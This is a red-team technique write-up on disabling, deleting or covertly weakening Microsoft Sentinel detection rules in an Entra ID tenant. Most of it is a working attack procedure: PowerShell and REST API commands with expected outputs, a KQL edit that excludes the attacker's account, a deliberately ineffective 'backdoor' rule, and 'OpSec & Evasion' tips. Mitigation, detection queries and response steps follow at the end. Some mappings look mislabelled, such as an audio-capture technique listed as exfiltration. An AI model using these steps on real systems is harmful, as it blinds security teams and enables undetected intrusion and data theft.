| Attribute | Details |
|---|---|
| Technique ID | REALWORLD-037 |
| MITRE ATT&CK v18.1 | T1562.001 - Disable or Modify Tools |
| Tactic | Defense Evasion |
| Platforms | Entra ID, Microsoft Sentinel |
| Severity | CRITICAL |
| CVE | N/A |
| Technique Status | ACTIVE |
| Last Verified | 2025-01-10 |
| Affected Versions | All versions of Microsoft Sentinel |
| Patched In | N/A - Mitigations required at policy level |
| Author | SERVTEP – Artur Pchelnikau |
Concept: This real-world technique involves modifying, disabling, or deleting existing Microsoft Sentinel detection rules within an Entra ID tenant. An attacker with Global Administrator or Microsoft Sentinel Contributor permissions can alter, clone, or remove analytics rules that are designed to detect malicious activity, thereby creating blind spots in the security operations center (SOC) and enabling further compromise without triggering alarms. This is a high-sophistication defense evasion tactic that directly impairs the organization’s ability to detect ongoing attacks.
Attack Surface: Microsoft Sentinel Analytics Rules API, Entra ID Portal, Azure Management Plane (ARM endpoints), AuditLogs in Entra ID.
Business Impact: Complete loss of visibility into specific attack patterns. An attacker can remove or weaken detection rules covering their post-compromise tradecraft, allowing them to move laterally, exfiltrate data, or establish persistence without triggering security alerts. Real-world APT groups (e.g., Scattered Spider) have disabled detection rules to cover their tracks.
Technical Context: This attack typically takes 2-5 minutes to execute once an attacker has Global Admin access. Detection likelihood is MEDIUM-HIGH if proper audit log monitoring and RBAC controls are in place. However, if the attacker also disables audit logging simultaneously (T1070), detection becomes nearly impossible.
| Framework | Control / ID | Description |
|---|---|---|
| CIS Benchmark | CIS Azure 2.2.2 | Ensure that Azure Sentinel is enabled and running with appropriate retention and alerting rules. |
| DISA STIG | SI-4(4) | Monitor information system activities for unusual and suspicious activities. |
| CISA SCuBA | SA-4(2) | System administrators must have audit trail monitoring for changes to detection and alerting systems. |
| NIST 800-53 | SI-4 | System and Communications Protection - Information System Monitoring |
| GDPR | Art. 32 | Security of Processing - Organizations must implement technical measures to detect and respond to security incidents. |
| DORA | Art. 9 | Protection and Prevention - Entities must have effective monitoring to detect malicious activity. |
| NIS2 | Art. 21 | Cyber risk management measures including continuous monitoring and threat detection. |
| ISO 27001 | A.12.4.1 | Event logging - Ensure recording of user activities, system events, and security events. |
| ISO 27005 | Risk Scenario: “Compromise of SIEM/Detection System” | Loss of visibility into security events and inability to detect threats. |
Supported Versions:
Microsoft.SecurityInsights/alertRules/write on the resource group or workspace levelTools:
# Connect to Azure
Connect-AzAccount
# Get current user's Sentinel access level
Get-AzRoleAssignment -SignInName (Get-AzContext).Account.Id | Where-Object {$_.RoleDefinitionName -like "*Sentinel*" -or $_.RoleDefinitionName -eq "Owner" -or $_.RoleDefinitionName -eq "Contributor"}
# List all analytics rules in the workspace
Get-AzSentinelAlertRule -ResourceGroupName "YourResourceGroup" -WorkspaceName "YourSentinelWorkspace" | Select-Object Name, Id, Enabled, DisplayName
# Check if a specific rule is enabled
$rule = Get-AzSentinelAlertRule -ResourceGroupName "YourResourceGroup" -WorkspaceName "YourSentinelWorkspace" -RuleName "RuleDisplayName"
$rule.Enabled
What to Look For:
*/write permissions on Microsoft.SecurityInsights/*, the attacker has sufficient access.$rule.Enabled output should be $true for rules that are active. If it’s $false, the rule has been disabled.Version Note: PowerShell cmdlets are consistent across Azure versions, but REST API endpoints have evolved. Server 2022+ typically includes PowerShell 7.x; earlier versions use PowerShell 5.x. Both versions support Az.SecurityInsights module.
# Login to Azure
az login
# Get list of analytics rules
az sentinel alert-rule list --resource-group YourResourceGroup --workspace-name YourSentinelWorkspace
# Get details of a specific rule
az sentinel alert-rule show --resource-group YourResourceGroup --workspace-name YourSentinelWorkspace --rule-name "RuleName"
# Check current user's role assignments
az role assignment list --assignee $(az account show --query user.name -o tsv)
What to Look For:
"properties": { "enabled": true } to identify active rules.Supported Versions: All versions of Entra ID / Sentinel
Objective: Gain authenticated access to the Azure Portal where Sentinel rules are managed.
Command (via Web Browser):
Expected Output:
What This Means:
OpSec & Evasion:
Troubleshooting:
Objective: Access the Sentinel workspace and view the list of active analytics rules.
Manual Steps (Azure Portal GUI):
Expected Output:
What This Means:
OpSec & Evasion:
Objective: Determine which rules are most relevant to your post-compromise activities.
High-Value Rules to Target (Examples):
Manual Steps to Identify Relevant Rules:
What This Means:
OpSec & Evasion:
Objective: Remove or deactivate the rule so it no longer generates alerts.
Method 4A: Disable the Rule (Preferred for Stealth)
Expected Output:
What This Means:
OpSec & Evasion:
Method 4B: Delete the Rule (Higher Impact)
Expected Output:
What This Means:
OpSec & Evasion:
Troubleshooting:
Microsoft.SecurityInsights/alertRules/write permissionReferences & Proofs:
Supported Versions: All Entra ID versions
Objective: Ensure the Azure PowerShell module with Sentinel support is available on the attacker’s machine.
Command:
# Install or update the Az.SecurityInsights module
Install-Module -Name Az.SecurityInsights -Force -AllowClobber
# Alternatively, if you already have an older version, update it
Update-Module -Name Az.SecurityInsights -Force
# Import the modules
Import-Module Az.Accounts
Import-Module Az.SecurityInsights
Expected Output:
NuGet provider is required to continue. PowerShellGet requires NuGet provider version
'2.8.5.201' or newer to interact with NuGet-based repositories. You should verify
that you have the correct version of the NuGet provider installed.
Do you want PowerShellGet to install and import the NuGet provider now? [Y] Yes [N] No [S] Suspend [?] Help (default is "Y"): Y
Then:
ModuleType Version Name ExportedCommands
---------- ------- ---- ----------------
Script 5.0.0 Az.Accounts {Add-AzEnvironment, Clear-AzContext, ...}
Script 1.7.0 Az.SecurityInsights {Get-AzSentinelAlertRule, Remove-AzSentinelAlertRule, ...}
What This Means:
OpSec & Evasion:
Version Note:
Objective: Establish authenticated session with Azure using compromised credentials.
Command:
# Method 1: Interactive login (if MFA is disabled or already completed)
Connect-AzAccount
# Method 2: Use a service principal or app registration
$clientId = "00000000-0000-0000-0000-000000000000" # Application ID
$tenantId = "00000000-0000-0000-0000-000000000000" # Tenant ID
$clientSecret = "your-secret-value"
$credential = New-Object System.Management.Automation.PSCredential(
$clientId,
(ConvertTo-SecureString $clientSecret -AsPlainText -Force)
)
Connect-AzAccount -ServicePrincipal -Credential $credential -Tenant $tenantId
# Method 3: Use device code flow (for MFA scenarios)
Connect-AzAccount -UseDeviceAuthentication
Expected Output:
Account SubscriptionName SubscriptionId TenantId Environment
------- ---------------- -------------- -------- -----------
attacker@company.com Default Subscription 12345678-1234-1234-1234-123456789012 xxxxxxxx-xxxx-xxxx-xxxx-xxxxxxxxxxxx AzureCloud
What This Means:
OpSec & Evasion:
Objective: Modify the rule configuration to disable detection.
Command (Disable a Rule):
# Set variables
$ResourceGroupName = "YourResourceGroup"
$WorkspaceName = "YourSentinelWorkspace"
$RuleName = "UserAssignedPrivilegedRole" # Example rule
# Get the rule
$rule = Get-AzSentinelAlertRule -ResourceGroupName $ResourceGroupName -WorkspaceName $WorkspaceName -RuleName $RuleName
# Disable the rule by setting the Enabled property to $false
$rule.Enabled = $false
# Update the rule
Update-AzSentinelAlertRule -ResourceGroupName $ResourceGroupName -WorkspaceName $WorkspaceName -AlertRuleId $rule.Id -Enabled $false
Expected Output:
AlertRuleId : /subscriptions/xxxx/resourceGroups/YourResourceGroup/providers/Microsoft.OperationalInsights/workspaces/YourSentinelWorkspace/providers/Microsoft.SecurityInsights/alertRules/xxxxxxxx-xxxx-xxxx-xxxx-xxxxxxxxxxxx
Enabled : False
DisplayName : User Assigned Privileged Role
Severity : High
LastModifiedUtc : 2025-01-10T14:32:15.1234567Z
What This Means:
LastModifiedUtc timestamp indicates when the change occurredCommand (Delete a Rule):
# Delete the rule
Remove-AzSentinelAlertRule -ResourceGroupName $ResourceGroupName -WorkspaceName $WorkspaceName -RuleName $RuleName -Force
Expected Output:
(No output if successful; command completes silently)
What This Means:
Troubleshooting:
Get-AzSentinelAlertRule -ResourceGroupName $ResourceGroupName -WorkspaceName $WorkspaceName to list all rules and confirm the correct namewrite permission on Sentinel rulesOpSec & Evasion:
Update-AzSentinelAlertRule or Remove-AzSentinelAlertRule call creates an AuditLog entry in Entra IDObjective: Confirm that the rule is no longer active.
Command:
# List all alert rules and check if the target rule is disabled or missing
Get-AzSentinelAlertRule -ResourceGroupName $ResourceGroupName -WorkspaceName $WorkspaceName | Where-Object {$_.DisplayName -eq "User Assigned Privileged Role"}
Expected Output (if disabled):
AlertRuleId : /subscriptions/.../providers/Microsoft.SecurityInsights/alertRules/xxxxxxxx-xxxx-xxxx-xxxx-xxxxxxxxxxxx
Enabled : False
DisplayName : User Assigned Privileged Role
Expected Output (if deleted):
(No output - the rule no longer exists in the list)
What This Means:
References & Proofs:
Supported Versions: All Entra ID versions
Objective: Acquire an OAuth access token to authenticate REST API requests.
Command (PowerShell):
# Using Az PowerShell context (after Connect-AzAccount)
$token = (Get-AzAccessToken -ResourceUrl "https://management.azure.com").Token
# Or manually via OAuth client credentials
$tenantId = "xxxxxxxx-xxxx-xxxx-xxxx-xxxxxxxxxxxx"
$clientId = "application-id"
$clientSecret = "application-secret"
$scope = "https://management.azure.com/.default"
$body = @{
grant_type = "client_credentials"
client_id = $clientId
client_secret = $clientSecret
scope = $scope
}
$response = Invoke-RestMethod -Uri "https://login.microsoftonline.com/$tenantId/oauth2/v2.0/token" -Method POST -Body $body
$token = $response.access_token
Expected Output:
eyJhbGciOiJSUzI1NiIsImtpZCI6IkRFMzAxMjAxQzRCNEQwMDAxODAxRTAxNDAwMDAwMDAwIiwidHlwIjoiSldUIn0.eyJhdWQiOiJodHRwczovL21hbmFnZW1lbnQuYXp1cmUuY29tIiwiaXNzIjoiaHR0cHM6Ly9zdHMud2luZG93cy5uZXQveHh4eHh4eHgtanl6ei14eHh4LTEyMzQtNTY3OC14eHh4eHh4eHh4eHgvIiwiaWF0IjoxNjM2NDUyMzQ1LCJuYmYiOjE2MzY0NTIzNDUsImV4cCI6MTYzNjQ1NjI0NSwiYWlvIjoiRTJCQkFLb3dEUWNIR1F4RVhBM0JxVUNpQkRaUSEi
...TRUNCATED...
What This Means:
OpSec & Evasion:
~/.azure/tokens.json if the attacker has local accessObjective: Build the HTTP request to modify the alert rule.
Command (PowerShell):
# Set variables
$subscriptionId = "12345678-1234-1234-1234-123456789012"
$resourceGroupName = "YourResourceGroup"
$workspaceName = "YourSentinelWorkspace"
$ruleId = "xxxxxxxx-xxxx-xxxx-xxxx-xxxxxxxxxxxx" # Rule GUID from earlier step
# Construct the URI
$uri = "https://management.azure.com/subscriptions/$subscriptionId/resourceGroups/$resourceGroupName/providers/Microsoft.OperationalInsights/workspaces/$workspaceName/providers/Microsoft.SecurityInsights/alertRules/$ruleId?api-version=2021-10-01"
# Prepare the request headers
$headers = @{
"Authorization" = "Bearer $token"
"Content-Type" = "application/json"
}
# Prepare the request body (disabling the rule)
$body = @{
kind = "Scheduled"
properties = @{
enabled = $false
# Include other required properties from the original rule definition
}
} | ConvertTo-Json -Depth 10
Expected Output: (After execution of the API call below)
StatusCode : 200
StatusDescription : OK
Content : {"id":"/subscriptions/xxxx/resourceGroups/YourResourceGroup/providers/Microsoft.OperationalInsights/workspaces/YourSentinelWorkspace/providers/Microsoft.SecurityInsights/alertRules/xxxx","name":"xxxx","type":"Microsoft.SecurityInsights/alertRules","kind":"Scheduled","properties":{"enabled":false,...}}
What This Means:
properties object contains the rule configuration with "enabled": falseObjective: Execute the HTTP PATCH request to apply changes.
Command (PowerShell):
# Send the PATCH request
$response = Invoke-RestMethod -Uri $uri -Method PATCH -Headers $headers -Body $body
# Verify the response
$response | ConvertTo-Json -Depth 5
Expected Output:
{
"id": "/subscriptions/xxxx/resourceGroups/YourResourceGroup/providers/Microsoft.OperationalInsights/workspaces/YourSentinelWorkspace/providers/Microsoft.SecurityInsights/alertRules/xxxx",
"name": "xxxx-xxxx-xxxx-xxxx-xxxx",
"type": "Microsoft.SecurityInsights/alertRules",
"kind": "Scheduled",
"properties": {
"enabled": false,
"displayName": "User Assigned Privileged Role",
"severity": "High",
"lastModifiedUtc": "2025-01-10T14:32:15.1234567Z"
}
}
What This Means:
"enabled": false)Troubleshooting:
enabled propertyOpSec & Evasion:
References & Proofs:
Supported Versions: All Entra ID versions
Objective: Instead of deleting rules, create a cloned rule with weaker detection logic or permissive conditions that acts as a backdoor.
Command (PowerShell):
# Get the rule that you want to clone/weaken
$sourceRule = Get-AzSentinelAlertRule -ResourceGroupName $ResourceGroupName -WorkspaceName $WorkspaceName -RuleName "Suspicious Privilege Escalation"
# Export the full rule configuration
$ruleConfig = $sourceRule | ConvertTo-Json -Depth 10
Write-Output $ruleConfig
Expected Output:
{
"AlertRuleId": "/subscriptions/xxxx/resourceGroups/YourResourceGroup/providers/Microsoft.OperationalInsights/workspaces/YourSentinelWorkspace/providers/Microsoft.SecurityInsights/alertRules/xxxx",
"DisplayName": "Suspicious Privilege Escalation",
"Enabled": true,
"Severity": "High",
"Query": "AuditLogs | where OperationName contains 'Assign role' | where InitiatedBy contains 'admin' | project TimeGenerated, OperationName, Actor=InitiatedBy",
"QueryFrequency": "PT1H",
"QueryPeriod": "P1D",
"TriggerOperator": "GreaterThan",
"TriggerThreshold": 0,
"Suppression": false
}
What This Means:
Query field contains the KQL that detects the behaviorCommand (PowerShell):
# Modify the query to exclude your attack pattern
$weakenedQuery = @"
AuditLogs
| where OperationName contains 'Assign role'
| where InitiatedBy contains 'admin'
| where InitiatedBy != 'attacker@company.com' // ADDED: Exclude attacker
| project TimeGenerated, OperationName, Actor=InitiatedBy
"@
# Update the source rule's query
$sourceRule | Update-AzSentinelAlertRule -ResourceGroupName $ResourceGroupName -WorkspaceName $WorkspaceName -Query $weakenedQuery
Expected Output:
AlertRuleId : /subscriptions/xxxx/resourceGroups/YourResourceGroup/providers/Microsoft.OperationalInsights/workspaces/YourSentinelWorkspace/providers/Microsoft.SecurityInsights/alertRules/xxxx
DisplayName : Suspicious Privilege Escalation
Enabled : True
Query : AuditLogs | where OperationName contains 'Assign role' | where InitiatedBy contains 'admin' | where InitiatedBy != 'attacker@company.com' | project TimeGenerated, OperationName, Actor=InitiatedBy
What This Means:
attacker@company.com will not trigger the ruleOpSec & Evasion:
Alternative Approach: Create a Completely New Backdoor Rule
# Create a new rule that is intentionally weak
$backdoorRuleParams = @{
ResourceGroupName = $ResourceGroupName
WorkspaceName = $WorkspaceName
DisplayName = "Legitimate Admin Activity" // Generic name to blend in
Enabled = $true
Severity = "Low"
Query = "AuditLogs | where OperationName contains 'Update' | where CreatedDateTime < ago(90d)" // Intentionally broad and unlikely to trigger
QueryFrequency = "PT24H"
QueryPeriod = "P7D"
TriggerOperator = "GreaterThan"
TriggerThreshold = 1000 // High threshold so it rarely triggers
}
New-AzSentinelAlertRule @backdoorRuleParams
References & Proofs:
Applies To Versions: All versions of Entra ID
Manual Steps (Azure Portal):
Manual Steps (PowerShell):
# Assign Sentinel Contributor role to a specific user
New-AzRoleAssignment -ObjectId (Get-AzADUser -UserPrincipalName "soc-admin@company.com").Id `
-RoleDefinitionName "Microsoft Sentinel Contributor" `
-Scope "/subscriptions/$subscriptionId/resourceGroups/$resourceGroupName"
Why This Helps:
Manual Steps (Entra ID Conditional Access):
Block Rule Modifications from High-Risk LocationsWhy This Helps:
Manual Steps (Enable Audit Logs in Entra ID):
Alert on Analytics Rule ModificationsAuditLogs
| where OperationName in ("Update alert rule", "Delete alert rule", "Create alert rule")
| where Result == "success"
| project TimeGenerated, OperationName, InitiatedBy, TargetResources
| where InitiatedBy !contains "SYSTEM" // Exclude automated processes
Why This Helps:
Manual Steps (Export Rules):
Get-AzSentinelAlertRule -ResourceGroupName $ResourceGroupName -WorkspaceName $WorkspaceName | Export-Csv -Path "C:\Backups\SentinelRules_$(Get-Date -Format yyyy-MM-dd).csv"
Why This Helps:
Manual Steps (Azure Portal):
Why This Helps:
Manual Steps (Conditional Access):
Block Legacy Authentication for SentinelWhy This Helps:
Manual Steps (PIM):
Why This Helps:
Manual Steps:
Microsoft.SecurityInsights/alertRules/*Why This Helps:
# Check who has rule modification permissions
Get-AzRoleAssignment -Scope "/subscriptions/$subscriptionId/resourceGroups/$resourceGroupName" | Where-Object {$_.RoleDefinitionName -like "*Sentinel*" -or $_.RoleDefinitionName -eq "Contributor"}
# Verify RBAC is correctly applied
Get-AzRoleAssignment -Scope "/subscriptions/$subscriptionId" | Select-Object DisplayName, RoleDefinitionName, Scope
Expected Output (If Secure):
DisplayName RoleDefinitionName Scope
----------- ------------------ -----
SOC Admin Team Microsoft Sentinel Contributor /subscriptions/xxxx/resourceGroups/YourResourceGroup
Contoso Security Team Reader /subscriptions/xxxx
What to Look For:
"Update alert rule""Delete alert rule""Create alert rule"properties.newValue.enabled = false and properties.oldValue.enabled = truehttps://management.azure.com/subscriptions/*/resourceGroups/*/providers/Microsoft.SecurityInsights/alertRules/*Search-UnifiedAuditLog -StartDate (Get-Date).AddDays(-30) -ResultSize 5000 | Export-Csv "C:\Evidence\AuditLog_Export.csv"
Update-MgUser -UserId "attacker@company.com" -AccountEnabled:$false
Revoke-MgUserSignInSession -UserId "attacker@company.com"
Remove-EventLog in Windows or Purge-AuditLog in PowerShell)# Restore from backup
Import-Csv "C:\Backups\SentinelRules_2025-01-01.csv" | ForEach-Object {
Update-AzSentinelAlertRule -ResourceGroupName $ResourceGroupName -WorkspaceName $WorkspaceName -DisplayName $_.DisplayName -Enabled $true
}
| Step | Phase | Technique | Description |
|---|---|---|---|
| 1 | Initial Access | T1566.002 Phishing | Attacker gains initial credentials through phishing email or credential stuffing |
| 2 | Privilege Escalation | T1078.004 Abuse of Valid Accounts | Attacker escalates to Global Admin via PIM or unauthorized role assignment |
| 3 | Defense Evasion | [REALWORLD-037] Sentinel Rule Modification | Attacker disables detection rules to avoid triggering alerts |
| 4 | Lateral Movement | T1550.001 Application Access Token | Attacker uses stolen tokens to access M365, Teams, SharePoint while rules are disabled |
| 5 | Persistence | T1098.004 Domain Account Shadow Principal | Attacker creates a backdoor admin account for future access |
| 6 | Exfiltration | T1123 Audio Capture | Attacker exfils sensitive emails and files from Teams/SharePoint |
This technique results in failure of the following compliance requirements:
Organizations found to have this vulnerability should document it as a “High” or “Critical” finding and implement compensating controls immediately.